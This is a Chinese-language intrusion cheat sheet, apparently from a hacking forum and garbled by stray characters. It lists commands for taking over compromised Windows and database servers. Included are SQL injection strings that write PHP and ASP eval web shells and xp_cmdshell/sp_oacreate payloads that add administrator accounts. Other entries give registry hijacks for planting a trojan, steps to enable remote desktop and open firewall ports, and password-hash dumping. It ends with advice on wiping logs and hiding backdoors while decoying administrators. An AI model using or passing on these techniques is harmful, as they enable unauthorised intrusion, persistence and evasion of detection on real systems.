7 m, D; }7 }% [% n1.net user administrator /passwordreq:no+ b/ z0 ^/ @- W( n- r, h
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了3 A! [# ]! S$ m: ^, d5 V% p
2.比较巧妙的建克隆号的步骤& B9 ~& q1 j9 [# u$ ]0 }6 p
先建一个user的用户
& N7 y) d" o& X) d5 C0 a然后导出注册表。然后在计算机管理里删掉9 b& v9 q. A: W ]& G
在导入,在添加为管理员组
+ T, k+ V2 A: U3.查radmin密码
# O$ q4 J$ S1 x! l: i, c/ I& xreg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg! i0 C; ^7 [) a2 N# R1 X
4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]
, p' X# Y$ y5 D# ] T8 O/ o$ ?建立一个"services.exe"的项1 }9 T) w M2 s4 U
再在其下面建立(字符串值)
7 t: ~3 L" g. C! b) [, M5 E键值为mu ma的全路径8 X+ }& S' s& x
5.runas /user:guest cmd( d ]( x# A7 p6 C3 v+ k
测试用户权限!. o& D% S8 w% i/ \3 i# [8 g2 ?- s
6.、 tlntadmn config sec = -ntlm exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'-- 其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
5 M: M% p! S7 A0 e7.入侵后漏洞修补、痕迹清理,后门置放:7 \$ t6 ~5 v; X! y k$ I9 h
基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
" ?4 p2 X7 g3 q$ L8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c) X0 u. ]6 r, \' D- i# f& N
7 T( n+ J4 R. Y! k# t) Ofor example( E1 ]# e. J5 F% S, ]! H
- T$ n! \) ^- Y: K: f
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'
. W! ]3 W, x+ ]& C" X0 l% O% m' f! N! E4 S, }. `8 G
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'
( d' s' W1 `; U( b: D; a. S
- O+ y- l* J7 _# A" X$ s8 s7 s7 |/ S9:MSSQL SERVER 2005默认把xpcmdshell 给ON了
8 i: M$ r; j: K1 _如果要启用的话就必须把他加到高级用户模式
+ n" ~4 x9 e e可以直接在注入点那里直接注入2 R0 Z$ ?- G# g# X
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
( T; s( K: r m9 o& P然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
& I8 a# E+ k. N7 b4 U或者7 t7 R6 H, h# O; j# u5 f
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
' X: f& o5 Q- U来恢复cmdshell。
' B6 T* k9 T# ^5 h1 s* O9 W9 F6 \8 r+ `! a
分析器
/ q. K, A$ G% o+ [3 Y6 T" z- xEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
6 ^; F5 e4 }- c+ i: s9 s( Q然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
f; I+ k$ D) i& F; ?10.xp_cmdshell新的恢复办法/ { I" m& y7 q7 |; ~9 G
xp_cmdshell新的恢复办法$ H* L6 L8 S7 p3 c) [1 @0 n
扩展储存过程被删除以后可以有很简单的办法恢复:* |+ o# m% {7 ]. j4 T. O
删除; `4 J) k$ s `6 X/ U
drop procedure sp_addextendedproc
; Z8 p: g& G0 ]4 G" Q; M5 y, g) edrop procedure sp_oacreate, e, k: A' s5 [, l, U3 Y# W/ q
exec sp_dropextendedproc 'xp_cmdshell'
( J, w* f3 N. K( ?: C0 D9 d7 ~3 j2 _: f9 ^2 y7 P
恢复
0 w! |/ B ^( w5 P0 y( ndbcc addextendedproc ("sp_oacreate","odsole70.dll")
- j' t5 T( ^4 B- m4 Ddbcc addextendedproc ("xp_cmdshell","xplog70.dll")* ~& H& M6 ~7 \9 g+ L
3 |; J/ `7 D$ V1 Z
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
: \6 P9 M! P/ W& s* x; y$ l/ N9 N; t. V, y5 [
-----------------------------
7 `# c$ B! G. J1 A. x
4 z# ]1 e' p. \9 T' M删除扩展存储过过程xp_cmdshell的语句:
' W1 X( |! { F' xexec sp_dropextendedproc 'xp_cmdshell'/ r: O9 h6 K( x# K4 n3 K( i5 N
4 p. X+ T5 p! ^* B# j' @8 o
恢复cmdshell的sql语句
( P& w( I& ~7 x) n6 qexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'5 Q! @6 e' Z- S. h; V. [
* e0 T4 @, }1 A' G) C/ F; W5 r
0 y: `5 x' X! g/ L! H4 S开启cmdshell的sql语句1 ?! b# L- U3 V: x/ }
4 B8 `7 c4 P6 C; s. [' J! b+ L# e
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'+ C6 ]# b2 \% J7 z, `7 R H
( L9 B0 G0 u, ^4 U5 Y1 w% B, Q7 V$ P
判断存储扩展是否存在1 J; `8 P4 L A' K) c/ d6 k! _
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
# m* Q8 m! J( y$ p5 y返回结果为1就ok7 ?" l9 g4 q8 Q0 H9 V
* i9 X, w2 I$ w1 Z+ I# ^+ [恢复xp_cmdshell
. [0 o, K3 J. y; l2 Oexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'; D# E0 Q) J x# f! @7 u# y( e1 o( D
返回结果为1就ok
+ v. ^( F* \- O! p* ~9 y
& a3 c4 a0 K( I( w9 z, R否则上传xplog7.0.dll
; P) ^. C; i% Nexec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'* Z; R' ?* Q4 n: W
9 t) I f/ a: S3 {+ n
堵上cmdshell的sql语句& q$ }) K6 t! X" A
sp_dropextendedproc "xp_cmdshel
6 U- n a0 S3 R! s7 M/ x-------------------------/ Y& [" P6 _6 ^( k/ n3 A- Y. C
清除3389的登录记录用一条系统自带的命令:* x4 ?4 s% b9 |4 _, s7 x* I$ O
reg delete "hkcu\Software\Microsoft\Terminal Server Client" /f
2 x$ e$ a' ]9 l8 f
9 I0 p1 d) {5 m3 o然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
+ _, v; W; e& S9 W |3 J4 J3 {在 mysql里查看当前用户的权限
2 ^* s6 p) V8 p0 oshow grants for
* v( u) J- i; G) z+ s2 k1 Q' s# P& p3 u/ }. j0 G2 |! v, E- x, P4 e+ l
以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。( z3 A7 r, P; F5 L9 x
( ^+ C- h$ v& i; r
8 S' T8 O2 s3 X* c O) |6 UCreate USER 'itpro'@'%' IDENTIFIED BY '123';/ O! E! ]6 W6 x. W
) u9 G) n+ X0 D( A B0 ^) V) x+ G
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
7 H0 O0 [' E% h1 J' c8 _4 y
9 ] j: Z% b; e' MMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
: B# }; ]5 _5 K5 k: |: _2 B7 P
9 Q6 ]: c1 z; ^ N' N* b. LMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
. I; [0 n3 h& t4 `3 {+ L; W( P8 l- r O U
搞完事记得删除脚印哟。
% ?3 {3 j& A8 [( j5 l
5 X1 j6 M( X- a" NDrop USER 'itpro'@'%';% ^1 k5 d3 {. I$ E& r( ~, k
0 W1 J( W5 p2 c8 f: P5 QDrop DATABASE IF EXISTS `itpro` ;
' z7 L) X) q. t4 f. L0 k# ?, f- [ z( ~5 \$ h
当前用户获取system权限
+ _* }: C' i( Rsc Create SuperCMD binPath= "cmd /K start" type= own type= interact
+ i9 E0 f) F0 r: ^ }' D7 t1 c* n" Gsc start SuperCMD
( R7 s/ U* n9 c" I) w程序代码
& l0 R) g: \" }( A+ ^<SCRIPT LANGUAGE="VBScript">( V, x6 v; V0 d+ Z2 E' e( p4 p
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
7 n/ m3 q# K" @" b m/ t* Nos="WinNT://"&wsnetwork.ComputerName
" i7 H! @& P4 w6 w0 ISet ob=GetObject(os)
& N. i+ U4 h/ QSet oe=GetObject(os&"/Administrators,group") B" `" K6 r+ V* I* t5 N* u4 w
Set od=ob.Create("user","nosec")
' i; Q# F" h, {3 I8 w5 K+ lod.SetPassword "123456abc!@#") M y# t; D4 h6 k
od.SetInfo. D; N$ h0 H. T& s
Set of=GetObject(os&"/nosec",user)
$ l# W: k: V3 V4 C: @8 b2 o9 _oe.add os&"/nosec"
2 I# h% z' ?& I</Script>7 @" d* b: ?( K, N4 c
<script language=javascript>window.close();</script>
* }, T* v- V6 M" j6 A8 m5 |# _
, q7 N7 @1 w1 e* P
6 b( Z' L4 v3 u1 c/ N* \9 }2 u
9 O4 u; q2 u2 f
& A9 b; m( S5 N# P/ S突破验证码限制入后台拿shell* h0 z9 @7 B9 h$ Q
程序代码2 P. N$ @0 T4 C# A2 s
REGEDIT4 & v. G2 p K/ L
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
. {% c# P/ Q& y; _1 J5 U( m"BlockXBM"=dword:00000000
+ j) Z; c: K, @% f8 z& F B0 V, O6 h0 g3 w6 u/ S
保存为code.reg,导入注册表,重器IE
# b+ E2 A# {) T- K" Q就可以了# R- S7 _2 k6 F3 \1 J6 |6 A
union写马/ `$ @+ u+ J0 T+ T
程序代码
4 e7 Z2 u$ p. Y+ Z2 W0 T3 A) wwww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*8 U/ U5 @- m5 j, D6 z% Q& Q, y
3 V. a ^& c* S; T; p f应用在dedecms注射漏洞上,无后台写马
& K1 G& V' h( b4 i2 Rdedecms后台,无文件管理器,没有outfile权限的时候* k/ ?- n* F4 r$ p0 m0 I
在插件管理-病毒扫描里
$ f) M0 ]4 s$ n: J/ y; [写一句话进include/config_hand.php里/ @# n5 o! G, v/ K
程序代码
' [! |4 Q0 T9 {! M( I7 h>';?><?php @eval($_POST[cmd]);?>. [/ c; `. n( A( E
" }0 P. c+ V/ M, z5 E; B
, l7 m7 _# D* G4 ]如上格式
7 V" ~! G. F+ z! a. Y9 V' F( F3 z/ _2 T
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解; C6 M+ P6 C. D( `; H
程序代码
" ]0 R* l2 ?) s0 p$ Mselect username,password from dba_users;
3 ~5 @. S& G# c b; Z9 U! m& w- K5 w C" Z! J. l
4 R- ]4 h9 g n2 S# s$ D7 r4 Qmysql远程连接用户. y) H0 h/ Z% Y1 Z
程序代码$ s/ j: R! _ }7 ^4 [8 {
8 d6 S4 o# }8 t0 }8 XCreate USER 'nosec'@'%' IDENTIFIED BY 'fuckme';6 _# y; ?% V3 m5 D! y" k
GRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION/ r! ^6 S/ W" o( E# X9 ~" z8 z! A
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0# B3 Q9 I: R+ n' l
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
b' l" C8 ?: `( {' k- I, }# i* j0 r$ W2 c6 j* H. V5 ?
2 I3 R u% ~2 D" [
# [( ~. s3 Y( _: U& l, E$ H* Z0 _0 d) P+ H5 E8 K. V
echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
% y& l- b8 Y: k( Q5 e# D3 k% h0 J- ?. ]2 _( D% \7 P% d# N4 ]
1.查询终端端口
( x' V; z* T* P6 `% b% I+ y
+ b* O% F4 G# A* u8 @xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
3 r( ?4 g6 S o
2 F7 }" }. Z: Z. Y& D2 Y通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"% j" _6 M) [5 Q; Q( j
type tsp.reg. D0 b% T- }# W6 s# {
% f7 W" ]6 T3 D% b2 u- I
2.开启XP&2003终端服务
( `" I& E* o4 Z( _# f$ u# e/ ^8 [: i0 _* S' H- \
f: H2 _1 [9 K: ?7 f3 N/ c
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f! J; w3 @7 f! v+ f
- T' C* a6 b, A
0 m" \- k1 Q/ p5 U6 [# k
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f$ |+ n0 ~9 @/ K! ?- |8 }! i' k; u
2 I% R8 {. b1 p: Z2 W- A$ _* Y: `$ o3.更改终端端口为20008(0x4E28)
, r7 U( p: I# l( d( w0 W5 W' v6 @! Y0 y! _7 h! U8 x" L6 g
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f* Q' p4 ?% e7 o( }3 c3 `$ s( o
5 b, a6 q' k7 H) _7 q0 Q O7 _( {: O
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f% V. p& \6 T& e! ?/ b0 }; Q( X
* Y& G( B* X3 t# {: U
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制, g% D9 W0 ^4 p( |* y
' r: |7 e: }" L( P. h7 ]4 ]REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f
; S: ?! _2 @- @. J4 s$ T% @
+ ~$ }5 }, X: i( v" A: K4 I& y4 |1 @# v k$ x& E
5.开启Win2000的终端,端口为3389(需重启): V/ w9 [1 d4 k6 X: T3 S0 C
5 T: n2 h" S4 D; F6 I2 y
echo Windows Registry Editor Version 5.00 >2000.reg + G* }0 O& }" ^/ ? _' U
echo. >>2000.reg( k% c# Q! i" Z9 x; {. U
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg
' A# ^6 u4 m. e2 Z# O: k5 necho "Enabled"="0" >>2000.reg
( F# h9 Z, {9 R. necho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg ) E1 T6 o. `1 ?
echo "ShutdownWithoutLogon"="0" >>2000.reg
3 A2 i6 M% Y* z0 {( {3 {echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg
4 ?& y) _) s7 {$ hecho "EnableAdminTSRemote"=dword:00000001 >>2000.reg
3 H' V6 L. P* f" eecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg
: o3 Z4 \2 I4 S4 h5 eecho "TSEnabled"=dword:00000001 >>2000.reg + D" c; g8 e# j$ u8 E" F8 @" o
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg
" m$ z1 Z% K9 f- R' R: x$ y* ?echo "Start"=dword:00000002 >>2000.reg ; p! X! K: D' F' m
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg 2 [9 F$ m5 W3 l, E$ p
echo "Start"=dword:00000002 >>2000.reg 2 e& d% b# c6 p/ Z
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg
, W" I$ r- x- Q' ]! B4 n- Becho "Hotkey"="1" >>2000.reg
7 C& k4 v Y/ R, z2 f' aecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg , I. q" Q3 L. o7 E9 A
echo "ortNumber"=dword:00000D3D >>2000.reg
4 H, h4 N6 B/ P0 O/ v Yecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg
; [ z4 ?, s6 j# recho "ortNumber"=dword:00000D3D >>2000.reg
& K m+ S k) t9 M
, l% f9 @' u( x% A3 ]6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)% Q: e( ]7 }$ I4 ~2 B3 c' m1 W
2 V* Y$ Q/ d+ ~4 g" i$ j" a@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
?& Y7 q. O$ n3 W5 [(set inf=InstallHinfSection DefaultInstall)" ]6 X$ G% |2 I8 V* h
echo signature=$chicago$ >> restart.inf
; z" m; Y) K5 s) C5 ~echo [defaultinstall] >> restart.inf* S8 m5 o7 W" I
rundll32 setupapi,%inf% 1 %temp%\restart.inf& d3 _5 b) v$ \" i4 x
7 K! T) b d5 S- b4 m5 P
0 A3 Q" f; Q" [, v; }% [% ^7.禁用TCP/IP端口筛选 (需重启)
! \6 Z/ O! Z4 ~9 x, ^. z) v6 N0 m5 H
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f# c2 _$ T6 F6 Q* t1 f$ x7 G) g
' }- h. v5 N/ v5 ?& y
8.终端超出最大连接数时可用下面的命令来连接
& I0 B$ E3 r5 j/ l+ ]& [' j& l* n. @3 x* J, }% n
mstsc /v:ip:3389 /console. D# ?( j* k8 G& Y
4 n( L; b1 M2 j- B1 f9.调整NTFS分区权限4 R |% m- L f
0 `! K% [6 E+ _8 xcacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)% [1 v4 `+ H( t0 k# L) d% s
, J( b7 }# F# o/ q# p6 O: d
cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)
( I/ f: {& P( _# S* m$ ^
0 ^8 u8 v5 w: p8 U" ~! F/ I( p------------------------------------------------------
: E* a/ g4 {0 l8 K3389.vbs
* p, V8 g3 ^; J2 k) j% KOn Error Resume Next
8 Y/ _9 [, O% E% n' h$ _1 [) bconst HKEY_LOCAL_MACHINE = &H80000002
8 f# a9 x I9 @. b0 V4 RstrComputer = "."' @! k* }) k* t
Set StdOut = WScript.StdOut! C D6 z6 D2 T& f2 d9 o
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_/ G4 x+ h, N% p$ P( S2 D
strComputer & "\root\default:StdRegProv")
3 E, h, e1 V5 T3 w9 ^4 ?0 p6 Z; S6 X. cstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"3 _. v' Z6 f9 _: }, b/ s9 m
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
; H+ t- w( Y2 E2 v* Z) q' ~* AstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
$ ?3 E" i" w0 J+ O& o4 k# X, D* O! ~oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath5 [! W* Q) N: g1 a8 m9 E/ k
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
' H$ E2 k' _" K4 R2 NstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
' S' w& M/ j) V9 WstrValueName = "fDenyTSConnections"
7 L! q: R9 N( Y2 z/ X* @" \3 IdwValue = 06 o. G+ O$ @& T+ M
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
6 w6 S: U Z! Q, g# z# ZstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"9 \1 u3 d T4 f7 }) h# d9 F S5 [% o
strValueName = "ortNumber"
. U- x0 a1 B3 F! d4 z/ ndwValue = 3389
0 [) Q T% V, v' V( Q' uoreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
" k) M( x- d" W# tstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp", V) w+ @: y- Q; H: M
strValueName = "ortNumber"
; p% K+ Z7 H) A0 G1 M2 ddwValue = 3389
. i( ?* H8 j0 z0 h7 horeg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
0 V- u4 q* |- I& s. B: I* |9 WSet R = CreateObject("WScript.Shell") " G' c* G$ J$ c8 @; K
R.run("Shutdown.exe -f -r -t 0") $ u# U5 A; d+ Q \
# W+ Q$ `* D; M P2 K' ?% M删除awgina.dll的注册表键值* @5 F; |" w! I( E
程序代码
5 b/ c& v' d v
" V' p& W# u' J1 m2 z+ t4 Ireg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f! Y2 K' E, f# ?0 \+ e3 B
& I/ n% O( S U8 N) ?
% m+ ^2 Z2 d1 t+ J& Z$ H5 r& I
4 b% k7 P1 k7 o8 Z; o! C5 m; U8 f! d6 q
程序代码
$ \+ f$ Z$ Y' y4 KHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash& g; l3 w: R; n5 ]# A9 |* Z
5 u: O, ?" p; v/ n& H( d
设置为1,关闭LM Hash
1 j7 V- U, x/ w8 g) u4 ^) V$ h! J7 Y. b+ Z. c8 V/ G0 L2 e8 [
数据库安全:入侵Oracle数据库常用操作命令) G% A# [6 T( u: I) Q' W
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。
2 e7 ^1 e: i& M6 c- G7 r, Q* D! }& B# i1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
, Y. ^; P0 f6 _) Y2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;& |4 U. V. t: C: A3 s/ A
3、SQL>connect / as sysdba ;(as sysoper)或9 B0 p5 o8 l2 u) Q8 ~3 Y
connect internal/oracle AS SYSDBA ;(scott/tiger)
# w7 h+ c# V4 \0 q8 \- B( E Uconn sys/change_on_install as sysdba;
& U) R% K' ~% x/ }- v4、SQL>startup; 启动数据库实例
, e0 v( b3 B6 Z' ~) n5、查看当前的所有数据库: select * from v$database;
$ J9 f9 ^8 [* }$ o' P) p% Hselect name from v$database;
8 K$ u I* B6 a4 U6、desc v$databases; 查看数据库结构字段
. v; f5 E3 k! P$ F( H/ c1 m7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:6 ?) ` g! @9 z$ n9 D% ^1 X2 k
SQL>select * from V_$PWFILE_USERS;) F* y" w- t4 |( q3 l! V
Show user;查看当前数据库连接用户, m5 L& a+ u( c8 K5 |1 P/ L
8、进入test数据库:database test;
. {: X* l$ q) k7 x& c& M; V9、查看所有的数据库实例:select * from v$instance;) f0 F5 [) _( \/ O( m& S8 N
如:ora9i
% P/ K7 F2 g6 M10、查看当前库的所有数据表:) S: ^, U/ I. t2 x$ ^8 G1 z
SQL> select TABLE_NAME from all_tables;; k$ a) S5 s l/ a- O7 S& r
select * from all_tables;
! }; V7 O. n. u) ^6 ?SQL> select table_name from all_tables where table_name like '%u%';- ]6 P' S7 I. Y! F
TABLE_NAME
! Q9 m; K& H3 x! m+ p------------------------------
6 u- l* `/ Y; x; o) `_default_auditing_options_
. p6 ?7 r# _" K/ |6 C11、查看表结构:desc all_tables;; D& t4 u7 w6 g& p/ j
12、显示CQI.T_BBS_XUSER的所有字段结构:6 a# o3 c6 q# ~5 f. Q. Y
desc CQI.T_BBS_XUSER;9 S$ F3 Q9 t: T% G
13、获得CQI.T_BBS_XUSER表中的记录:
W8 d& @& p( R8 Rselect * from CQI.T_BBS_XUSER;
4 [' J9 ^' E% z1 F! R5 @6 @14、增加数据库用户:(test11/test)9 y) h. Z6 d( S0 l9 _
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;
7 C$ Y4 J" q Q0 Z4 J15、用户授权:, R' |7 Z2 r8 P% \; r+ t9 {
grant connect,resource,dba to test11;, Q7 l: Q7 a8 f, |
grant sysdba to test11;9 y) S0 W# M% Q/ d
commit;
; d6 Y+ u$ X' n* e16、更改数据库用户的密码:(将sys与system的密码改为test.)4 ?# n; T) Q& u4 P$ H: m- f0 t( Z
alter user sys indentified by test;+ }2 M) `5 n8 a" d
alter user system indentified by test;
) e0 g4 {+ o) K! e0 ?3 X% _4 P9 m% ^5 m2 E# S- u! o
applicationContext-util.xml' L. L3 \7 c. V+ K
applicationContext.xml8 \! a3 k6 @( A8 x
struts-config.xml
- @8 z' u( G3 U, iweb.xml
2 [6 ~" y& |" u3 {0 wserver.xml* v U* ?% x+ A! K" y+ ]0 }& _& \ i
tomcat-users.xml
% B0 D( ~, Q) a7 e+ c/ {hibernate.cfg.xml! t. ^9 J$ y- a: C, G
database_pool_config.xml# w( A6 c: {( x5 w
5 V# S3 q; ?: k
+ V; N! `9 v6 |9 T f+ T\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置
( X5 `& f& u( g U& ~( G& |2 Q! f0 U\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini/ V) i; }5 W; v8 {
\WEB-INF\struts-config.xml 文件目录结构
1 N4 ~" P4 j3 z5 J- y" R4 ]3 `8 @. e' R8 r3 b9 n. n q
spring.properties 里边包含hibernate.cfg.xml的名称1 H; @- d W9 j
3 {' r2 |8 d- C. q; l4 t
. d0 V2 x! g, a1 dC:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml, }- ~) l% o0 I
! x4 C; i e7 a Q" ]" A
如果都找不到 那就看看class文件吧。。
$ S, X, \; Z P5 g9 `, v: k$ ]5 z/ Z" a( x
测试1:
: z/ U6 r. z6 p. MSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
* G5 Y; h3 P' Q( z o: x
) b |# ^ D& N. V) v& @3 f5 q0 C$ j测试2:* E" O J8 T: _: P3 U, P
- v6 z) \; C" c7 _create table dirs(paths varchar(100),paths1 varchar(100), id int)8 x" V3 y: v6 d/ u1 w$ c
9 _9 a' z9 p$ ]# h
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
- x O3 w' l4 C5 f8 @8 f8 v* \) K9 m2 v0 q* z
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
" V# j+ g+ k8 v( j8 ~7 E& z W/ f7 m8 {" c+ d% `
查看虚拟机中的共享文件:
x; t1 M( t- Y" C3 D在虚拟机中的cmd中执行
1 v1 B- [4 X1 Q( _7 D# `\\.host\Shared Folders6 t: w+ |9 \1 d4 K4 C- g. v, z
. A; N4 z: A( ], W X8 [& Q7 zcmdshell下找终端的技巧
+ f8 k @# G- g) ]. z4 d找终端:
* M h$ n1 y' b u ^第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! % V) U! O+ I/ y, [2 a
而终端所对应的服务名为:TermService 0 n2 M9 P" ^" c% l; p3 v
第二步:用netstat -ano命令,列出所有端口对应的PID值!
, |! ^ I: t7 S 找到PID值所对应的端口
! T, S- q7 V) S+ L! ?( }' I: p1 ]4 Z- ~0 r& |; B
查询sql server 2005中的密码hash; T: D8 J/ [* z1 O) G ^( V n* p
SELECT password_hash FROM sys.sql_logins where name='sa'4 H# h. ]2 o m5 q+ `, |
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a8 p; y# X$ D. \7 o( T: e
access中导出shell. E9 o" ^+ V! P' U' i
8 w: s- X" ^" K; T5 E' @中文版本操作系统中针对mysql添加用户完整代码:
( C/ [+ g @. O% m3 d2 j
